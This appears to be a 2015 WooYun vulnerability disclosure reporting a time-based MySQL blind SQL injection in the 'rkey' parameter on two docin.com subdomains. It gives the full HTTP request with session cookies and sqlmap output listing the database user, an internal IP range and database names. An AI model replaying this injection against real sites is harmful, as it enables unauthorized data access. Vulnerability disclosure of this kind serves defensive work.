当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117361

漏洞标题:豆丁网两分站MySQL盲注

相关厂商:豆丁网

漏洞作者: lijiejie

提交时间:2015-05-31 19:28

修复时间:2015-06-05 19:30

公开时间:2015-06-05 19:30

漏洞类型:SQL注射漏洞

危害等级:中

自评Rank:6

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-31: 细节已通知厂商并且等待厂商处理中
2015-06-05: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

豆丁网两分站MySQL盲注

详细说明:

注射点:

GET /touch_new/subchild_more.do?page=2&rkey=*&subType=0&tagId=109 HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://thuiyi.docin.com
Cookie: docin_session_id=bf8f099d-f506-4fb2-b86f-74689f8080da; touchHistUrls="[\"/touch/recommend.do\",\"/touch_new/tagItem.do\",\"/touch_new/tagItem.do?subId=119&type=-1\",\"/touch_new/subchild.do?tagId=109\",\"/touch_new/category1.do?cid=10020&isDoc=0&anchor=pro1160438305\",\"/touch_new/preview_new.do?id=1160438305\",\"/touch_new/tagItem.do?subId=12005&type=-2\",\"/touch_new/categorycontent1.do?ccid=10020&cid=10347&isDoc=0\",\"/touch_new/topicDetail.do?index=1&topicid=20\",\"/touch_new/topicDetail.do?dirId=0&flag=0&index=1&topicid=20\"]"; JSESSIONID=F881B2E67B07AC2AA0F26BE25EE8FE9D; mobilefirsttip=tip; netfunction="/daren/user.do"; recharge_from_type=index-userInfo; page_length=25; halfPV=0
Host: thuiyi.docin.com
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit/600.1.3 (KHTML, like Gecko) Version/8.0 Mobile/12A4345d Safari/600.1.4
Accept: */*


参数rkey可注入。MySQL time blind.
另一站点,同样的注入点:

http://tzazhi.docin.com

漏洞证明:

SQLmap跑一下:

urrent user:    'readuser@192.168.3.0/255.255.255.0'
current database: 'vonibo'
available databases [3]:
[*] information_schema
[*] test
[*] vonibo

修复方案:

参数过滤

版权声明:转载请注明来源 lijiejie@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-06-05 19:30

厂商回复:

漏洞Rank:8 (WooYun评价)

最新状态:

暂无